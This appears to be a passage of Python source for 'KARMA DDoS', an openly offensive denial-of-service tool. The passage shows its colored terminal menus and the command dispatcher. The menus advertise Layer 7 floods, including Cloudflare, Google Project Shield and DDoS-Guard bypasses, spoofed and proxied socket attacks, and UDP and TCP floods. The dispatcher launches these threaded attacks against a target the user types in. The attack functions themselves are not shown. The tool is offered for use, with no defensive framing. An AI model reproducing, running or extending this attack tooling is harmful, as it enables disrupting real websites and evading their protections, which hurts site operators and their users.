stdout.write(" "+Fore.LIGHTCYAN_EX +" ══╦═════════════════════════════════╦══\n")
stdout.write(" "+Fore.LIGHTCYAN_EX +"╔═════════╩═════════════════════════════════╩═════════╗\n")
stdout.write(" "+Fore.LIGHTCYAN_EX +"║ \x1b[38;2;255;20;147m• "+Fore.LIGHTWHITE_EX+"layer7 "+Fore.LIGHTCYAN_EX+"|"+Fore.LIGHTWHITE_EX+" Show Layer7 Methods "+Fore.LIGHTCYAN_EX+"║\n")
stdout.write(" "+Fore.LIGHTCYAN_EX +"║ \x1b[38;2;255;20;147m• "+Fore.LIGHTWHITE_EX+"layer4 "+Fore.LIGHTCYAN_EX+"|"+Fore.LIGHTWHITE_EX+" Show Layer4 Methods "+Fore.LIGHTCYAN_EX+"║\n")
stdout.write(" "+Fore.LIGHTCYAN_EX +"║ \x1b[38;2;255;20;147m• "+Fore.LIGHTWHITE_EX+"tools "+Fore.LIGHTCYAN_EX+"|"+Fore.LIGHTWHITE_EX+" Show tools "+Fore.LIGHTCYAN_EX+"║\n")
stdout.write(" "+Fore.LIGHTCYAN_EX +"║ \x1b[38;2;255;20;147m• "+Fore.LIGHTWHITE_EX+"credit "+Fore.LIGHTCYAN_EX+"|"+Fore.LIGHTWHITE_EX+" Show credit "+Fore.LIGHTCYAN_EX+"║\n")
stdout.write(" "+Fore.LIGHTCYAN_EX +"║ \x1b[38;2;255;20;147m• "+Fore.LIGHTWHITE_EX+"exit "+Fore.LIGHTCYAN_EX+"|"+Fore.LIGHTWHITE_EX+" Exit KARMA DDoS "+Fore.LIGHTCYAN_EX+"║\n")
stdout.write(" "+Fore.LIGHTCYAN_EX +"╠═════════════════════════════════════════════════════╣\n")
stdout.write(" "+Fore.LIGHTCYAN_EX +"║ \x1b[38;2;255;20;147m• "+Fore.LIGHTWHITE_EX+"THANK "+Fore.LIGHTCYAN_EX+"|"+Fore.LIGHTWHITE_EX+" Thanks for using KARMA. "+Fore.LIGHTCYAN_EX+"║\n")
stdout.write(" "+Fore.LIGHTCYAN_EX +"║ \x1b[38;2;255;20;147m• "+Fore.LIGHTWHITE_EX+"YOU♥ "+Fore.LIGHTCYAN_EX+"|"+Fore.LIGHTWHITE_EX+" Plz star project :) "+Fore.LIGHTCYAN_EX+"║\n")
stdout.write(" "+Fore.LIGHTCYAN_EX +"║ \x1b[38;2;255;20;147m• "+Fore.LIGHTWHITE_EX+"github "+Fore.LIGHTCYAN_EX+"|"+Fore.LIGHTWHITE_EX+" github.com/HyukIsBack/KARMA-DDoS "+Fore.LIGHTCYAN_EX+"║\n")
stdout.write(" "+Fore.LIGHTCYAN_EX +"╚═════════════════════════════════════════════════════╝\n")
stdout.write("\n")
##############################################################################################
def credit():
stdout.write("\x1b[38;2;0;236;250m════════════════════════╗\n")
stdout.write("\x1b[38;2;255;20;147m• "+Fore.LIGHTWHITE_EX +"Developer "+Fore.RED+": \x1b[38;2;0;255;189mHyuk\n")
stdout.write("\x1b[38;2;255;20;147m• "+Fore.LIGHTWHITE_EX +"UI Design "+Fore.RED+": \x1b[38;2;0;255;189mYone不\n")
stdout.write("\x1b[38;2;255;20;147m• "+Fore.LIGHTWHITE_EX +"Methods/Tools "+Fore.RED+": \x1b[38;2;0;255;189mSkyWtkh\n")
stdout.write("\x1b[38;2;0;236;250m════════════════════════╝\n")
stdout.write("\n")
##############################################################################################
def layer7():
clear()
stdout.write(" \n")
stdout.write(" "+Fore.LIGHTWHITE_EX +"╦ ╔═╗╦ ╦╔═╗╦═╗ ══╗ \n")
stdout.write(" "+Fore.LIGHTCYAN_EX +"║ ╠═╣╚╦╝║╣ ╠╦╝ ╔╝ \n")
stdout.write(" "+Fore.LIGHTCYAN_EX +"╩═╝╩ ╩ ╩ ╚═╝╩╚═ ╩ \n")
stdout.write(" "+Fore.LIGHTCYAN_EX +" ══╦═════════════════════════════════╦══\n")
stdout.write(" "+Fore.LIGHTCYAN_EX +"╔══════════╩═════════════════════════════════╩═════════╗\n")
stdout.write(" "+Fore.LIGHTCYAN_EX +"║ \x1b[38;2;255;20;147m• "+Fore.LIGHTWHITE_EX+"cfb "+Fore.LIGHTCYAN_EX+" |"+Fore.LIGHTWHITE_EX+" Bypass CF Attack "+Fore.LIGHTCYAN_EX+"║\n")
stdout.write(" "+Fore.LIGHTCYAN_EX +"║ \x1b[38;2;255;20;147m• "+Fore.LIGHTWHITE_EX+"pxcfb "+Fore.LIGHTCYAN_EX+" |"+Fore.LIGHTWHITE_EX+" Bypass CF Attack With Proxy "+Fore.LIGHTCYAN_EX+"║\n")
stdout.write(" "+Fore.LIGHTCYAN_EX +"║ \x1b[38;2;255;20;147m• "+Fore.LIGHTWHITE_EX+"cfreq "+Fore.LIGHTCYAN_EX+" |"+Fore.LIGHTWHITE_EX+" Bypass CF UAM, CAPTCHA, BFM (request) "+Fore.LIGHTCYAN_EX+"║\n")
stdout.write(" "+Fore.LIGHTCYAN_EX +"║ \x1b[38;2;255;20;147m• "+Fore.LIGHTWHITE_EX+"cfsoc "+Fore.LIGHTCYAN_EX+" |"+Fore.LIGHTWHITE_EX+" Bypass CF UAM, CAPTCHA, BFM (socket) "+Fore.LIGHTCYAN_EX+"║\n")
stdout.write(" "+Fore.LIGHTCYAN_EX +"║ \x1b[38;2;255;20;147m• "+Fore.LIGHTWHITE_EX+"pxsky "+Fore.LIGHTCYAN_EX+" |"+Fore.LIGHTWHITE_EX+" Bypass Google Project Shield, Vshield, "+Fore.LIGHTCYAN_EX+"║\n")
stdout.write(" "+Fore.LIGHTCYAN_EX +"║ \x1b[38;2;255;20;147m "+Fore.LIGHTWHITE_EX+" "+Fore.LIGHTCYAN_EX+" |"+Fore.LIGHTWHITE_EX+" DDoS Guard Free, CF NoSec With Proxy "+Fore.LIGHTCYAN_EX+"║\n")
stdout.write(" "+Fore.LIGHTCYAN_EX +"║ \x1b[38;2;255;20;147m• "+Fore.LIGHTWHITE_EX+"sky "+Fore.LIGHTCYAN_EX+" |"+Fore.LIGHTWHITE_EX+" Sky method without proxy "+Fore.LIGHTCYAN_EX+"║\n")
stdout.write(" "+Fore.LIGHTCYAN_EX +"║ \x1b[38;2;255;20;147m• "+Fore.LIGHTWHITE_EX+"http2 "+Fore.LIGHTCYAN_EX+" |"+Fore.LIGHTWHITE_EX+" HTTP 2.0 Request Attack "+Fore.LIGHTCYAN_EX+"║\n")
stdout.write(" "+Fore.LIGHTCYAN_EX +"║ \x1b[38;2;255;20;147m• "+Fore.LIGHTWHITE_EX+"pxhttp2"+Fore.LIGHTCYAN_EX+" |"+Fore.LIGHTWHITE_EX+" HTTP 2.0 Request Attack With Proxy "+Fore.LIGHTCYAN_EX+"║\n")
stdout.write(" "+Fore.LIGHTCYAN_EX +"║ \x1b[38;2;255;20;147m• "+Fore.LIGHTWHITE_EX+"get "+Fore.LIGHTCYAN_EX+" |"+Fore.LIGHTWHITE_EX+" Get Request Attack "+Fore.LIGHTCYAN_EX+"║\n")
stdout.write(" "+Fore.LIGHTCYAN_EX +"║ \x1b[38;2;255;20;147m• "+Fore.LIGHTWHITE_EX+"post "+Fore.LIGHTCYAN_EX+" |"+Fore.LIGHTWHITE_EX+" Post Request Attack "+Fore.LIGHTCYAN_EX+"║\n")
stdout.write(" "+Fore.LIGHTCYAN_EX +"║ \x1b[38;2;255;20;147m• "+Fore.LIGHTWHITE_EX+"head "+Fore.LIGHTCYAN_EX+" |"+Fore.LIGHTWHITE_EX+" Head Request Attack "+Fore.LIGHTCYAN_EX+"║\n")
stdout.write(" "+Fore.LIGHTCYAN_EX +"║ \x1b[38;2;255;20;147m• "+Fore.LIGHTWHITE_EX+"pps "+Fore.LIGHTCYAN_EX+" |"+Fore.LIGHTWHITE_EX+" Only GET / HTTP/1.1 "+Fore.LIGHTCYAN_EX+"║\n")
stdout.write(" "+Fore.LIGHTCYAN_EX +"║ \x1b[38;2;255;20;147m• "+Fore.LIGHTWHITE_EX+"spoof "+Fore.LIGHTCYAN_EX+" |"+Fore.LIGHTWHITE_EX+" HTTP Spoof Socket Attack "+Fore.LIGHTCYAN_EX+"║\n")
stdout.write(" "+Fore.LIGHTCYAN_EX +"║ \x1b[38;2;255;20;147m• "+Fore.LIGHTWHITE_EX+"pxspoof"+Fore.LIGHTCYAN_EX+" |"+Fore.LIGHTWHITE_EX+" HTTP Spoof Socket Attack With Proxy "+Fore.LIGHTCYAN_EX+"║\n")
stdout.write(" "+Fore.LIGHTCYAN_EX +"║ \x1b[38;2;255;20;147m• "+Fore.LIGHTWHITE_EX+"soc "+Fore.LIGHTCYAN_EX+" |"+Fore.LIGHTWHITE_EX+" Socket Attack "+Fore.LIGHTCYAN_EX+"║\n")
stdout.write(" "+Fore.LIGHTCYAN_EX +"║ \x1b[38;2;255;20;147m• "+Fore.LIGHTWHITE_EX+"pxraw "+Fore.LIGHTCYAN_EX+" |"+Fore.LIGHTWHITE_EX+" Proxy Request Attack "+Fore.LIGHTCYAN_EX+"║\n")
stdout.write(" "+Fore.LIGHTCYAN_EX +"║ \x1b[38;2;255;20;147m• "+Fore.LIGHTWHITE_EX+"pxsoc "+Fore.LIGHTCYAN_EX+" |"+Fore.LIGHTWHITE_EX+" Proxy Socket Attack "+Fore.LIGHTCYAN_EX+"║\n")
stdout.write(" "+Fore.LIGHTCYAN_EX +"╚══════════════════════════════════════════════════════╝\n")
stdout.write("\n")
##############################################################################################
def layer4():
clear()
stdout.write(" \n")
stdout.write(" "+Fore.LIGHTWHITE_EX +"╦ ╔═╗╦ ╦╔═╗╦═╗ ╦ ╦ \n")
stdout.write(" "+Fore.LIGHTCYAN_EX +"║ ╠═╣╚╦╝║╣ ╠╦╝ ╚═╣ \n")
stdout.write(" "+Fore.LIGHTCYAN_EX +"╩═╝╩ ╩ ╩ ╚═╝╩╚═ ╩ \n")
stdout.write(" "+Fore.LIGHTCYAN_EX +" ══╦═════════════════════════════════╦══\n")
stdout.write(" "+Fore.LIGHTCYAN_EX +"╔═════════╩═════════════════════════════════╩═════════╗\n")
stdout.write(" "+Fore.LIGHTCYAN_EX +"║ \x1b[38;2;255;20;147m• "+Fore.LIGHTWHITE_EX+"udp "+Fore.LIGHTCYAN_EX+"|"+Fore.LIGHTWHITE_EX+" UDP Attack "+Fore.LIGHTCYAN_EX+"║\n")
stdout.write(" "+Fore.LIGHTCYAN_EX +"║ \x1b[38;2;255;20;147m• "+Fore.LIGHTWHITE_EX+"tcp "+Fore.LIGHTCYAN_EX+"|"+Fore.LIGHTWHITE_EX+" TCP Attack "+Fore.LIGHTCYAN_EX+"║\n")
stdout.write(" "+Fore.LIGHTCYAN_EX +"╚═════════════════════════════════════════════════════╝\n")
stdout.write("\n")
##############################################################################################
def tools():
clear()
stdout.write(" \n")
stdout.write(" "+Fore.LIGHTWHITE_EX +"╔╦╗╔═╗╔═╗╦ ╔═╗ \n")
stdout.write(" "+Fore.LIGHTCYAN_EX +" ║ ║ ║║ ║║ ╚═╗ \n")
stdout.write(" "+Fore.LIGHTCYAN_EX +" ╩ ╚═╝╚═╝╩═╝╚═╝ \n")
stdout.write(" "+Fore.LIGHTCYAN_EX +" ══╦═════════════════════════════════╦══\n")
stdout.write(" "+Fore.LIGHTCYAN_EX +"╔═════════╩═════════════════════════════════╩═════════╗\n")
stdout.write(" "+Fore.LIGHTCYAN_EX +"║ \x1b[38;2;255;20;147m• "+Fore.LIGHTWHITE_EX+"geoip "+Fore.LIGHTCYAN_EX+"|"+Fore.LIGHTWHITE_EX+" Geo IP Address Lookup"+Fore.LIGHTCYAN_EX+" ║\n")
stdout.write(" "+Fore.LIGHTCYAN_EX +"║ \x1b[38;2;255;20;147m• "+Fore.LIGHTWHITE_EX+"dns "+Fore.LIGHTCYAN_EX+"|"+Fore.LIGHTWHITE_EX+" Classic DNS Lookup "+Fore.LIGHTCYAN_EX+" ║\n")
stdout.write(" "+Fore.LIGHTCYAN_EX +"║ \x1b[38;2;255;20;147m• "+Fore.LIGHTWHITE_EX+"subnet"+Fore.LIGHTCYAN_EX+"|"+Fore.LIGHTWHITE_EX+" Subnet IP Address Lookup "+Fore.LIGHTCYAN_EX+" ║\n")
stdout.write(" "+Fore.LIGHTCYAN_EX +"╚═════════════════════════════════════════════════════╝\n")
stdout.write("\n")
##############################################################################################
def title():
stdout.write(" \n")
stdout.write(" "+Fore.LIGHTWHITE_EX +"╦╔═╔═╗╦═╗╔╦╗╔═╗ \n")
stdout.write(" "+Fore.LIGHTCYAN_EX +"╠╩╗╠═╣╠╦╝║║║╠═╣ \n")
stdout.write(" "+Fore.LIGHTCYAN_EX +"╩ ╩╩ ╩╩╚═╩ ╩╩ ╩ \n")
stdout.write(" "+Fore.LIGHTCYAN_EX +" ══╦═════════════════════════════════╦══\n")
stdout.write(" "+Fore.LIGHTCYAN_EX+"╔═════════╩═════════════════════════════════╩═════════╗\n")
stdout.write(" "+Fore.LIGHTCYAN_EX+"║ "+Fore.LIGHTWHITE_EX +" Welcome To The Main Screen Of Karma "+Fore.LIGHTCYAN_EX +" ║\n")
stdout.write(" "+Fore.LIGHTCYAN_EX+"║ "+Fore.LIGHTWHITE_EX +" Type [help] to see the Commands "+Fore.LIGHTCYAN_EX +" ║\n")
stdout.write(" "+Fore.LIGHTCYAN_EX+"║ "+Fore.LIGHTWHITE_EX +" Contact Dev - Telegram @zjfoq394 "+Fore.LIGHTCYAN_EX +" ║\n")
stdout.write(" "+Fore.LIGHTCYAN_EX+"╚═════════════════════════════════════════════════════╝\n")
stdout.write("\n")
##############################################################################################
def command():
stdout.write(Fore.LIGHTCYAN_EX+"╔═══"+Fore.LIGHTCYAN_EX+"[""root"+Fore.LIGHTGREEN_EX+"@"+Fore.LIGHTCYAN_EX+"Karma"+Fore.CYAN+"]"+Fore.LIGHTCYAN_EX+"\n╚══\x1b[38;2;0;255;189m> "+Fore.WHITE)
command = input()
if command == "cls" or command == "clear":
clear()
title()
elif command == "help" or command == "?":
help()
elif command == "credit":
credit()
elif command == "layer7" or command == "LAYER7" or command == "l7" or command == "L7" or command == "Layer7":
layer7()
elif command == "layer4" or command == "LAYER4" or command == "l4" or command == "L4" or command == "Layer4":
layer4()
elif command == "tools" or command == "tool":
tools()
elif command == "exit":
exit()
elif command == "test":
target, thread, t = get_info_l7()
test1(target, thread, t)
time.sleep(10)
elif command == "http2" or command == "HTTP2":
target, thread, t = get_info_l7()
timer = threading.Thread(target=countdown, args=(t,))
timer.start()
LaunchHTTP2(target, thread, t)
timer.join()
elif command == "pxhttp2" or command == "PXHTTP2":
if get_proxies():
target, thread, t = get_info_l7()
timer = threading.Thread(target=countdown, args=(t,))
timer.start()
LaunchPXHTTP2(target, thread, t)
timer.join()
elif command == "cfb" or command == "CFB":
target, thread, t = get_info_l7()
timer = threading.Thread(target=countdown, args=(t,))
timer.start()
LaunchCFB(target, thread, t)
timer.join()
elif command == "pxcfb" or command == "PXCFB":
if get_proxies():
target, thread, t = get_info_l7()
timer = threading.Thread(target=countdown, args=(t,))
timer.start()
LaunchPXCFB(target, thread, t)
timer.join()
elif command == "pps" or command == "PPS":
target, thread, t = get_info_l7()
timer = threading.Thread(target=countdown, args=(t,))
timer.start()
LaunchPPS(target, thread, t)
timer.join()
elif command == "spoof" or command == "SPOOF":
target, thread, t = get_info_l7()
timer = threading.Thread(target=countdown, args=(t,))
timer.start()
LaunchSPOOF(target, thread, t)
timer.join()
elif command == "pxspoof" or command == "PXSPOOF":
target, thread, t = get_info_l7()
#timer = threading.Thread(target=countdown, args=(t,))
#timer.start()
LaunchPXSPOOF(target, thread, t, get_proxylist("SOCKS5"))
#timer.join()
time.sleep(1000)
elif command == "get" or command == "GET":
target, thread, t = get_info_l7()
timer = threading.Thread(target=countdown, args=(t,))
timer.start()
LaunchRAW(target, thread, t)
timer.join()
elif command == "post" or command == "POST":
target, thread, t = get_info_l7()
timer = threading.Thread(target=countdown, args=(t,))
timer.start()
LaunchPOST(target, thread, t)
timer.join()
elif command == "head" or command == "HEAD":
target, thread, t = get_info_l7()
timer = threading.Thread(target=countdown, args=(t,))
timer.start()
LaunchHEAD(target, thread, t)
timer.join()
elif command == "pxraw" or command == "PXRAW":
if get_proxies():
target, thread, t = get_info_l7()
timer = threading.Thread(target=countdown, args=(t,))
timer.start()
LaunchPXRAW(target, thread, t)
timer.join()
elif command == "soc" or command == "SOC":
target, thread, t = get_info_l7()
timer = threading.Thread(target=countdown, args=(t,))
timer.start()
LaunchSOC(target, thread, t)
timer.join()
elif command == "pxsoc" or command == "PXSOC":
if get_proxies():
target, thread, t = get_info_l7()
timer = threading.Thread(target=countdown, args=(t,))
timer.start()
LaunchPXSOC(target, thread, t)
timer.join()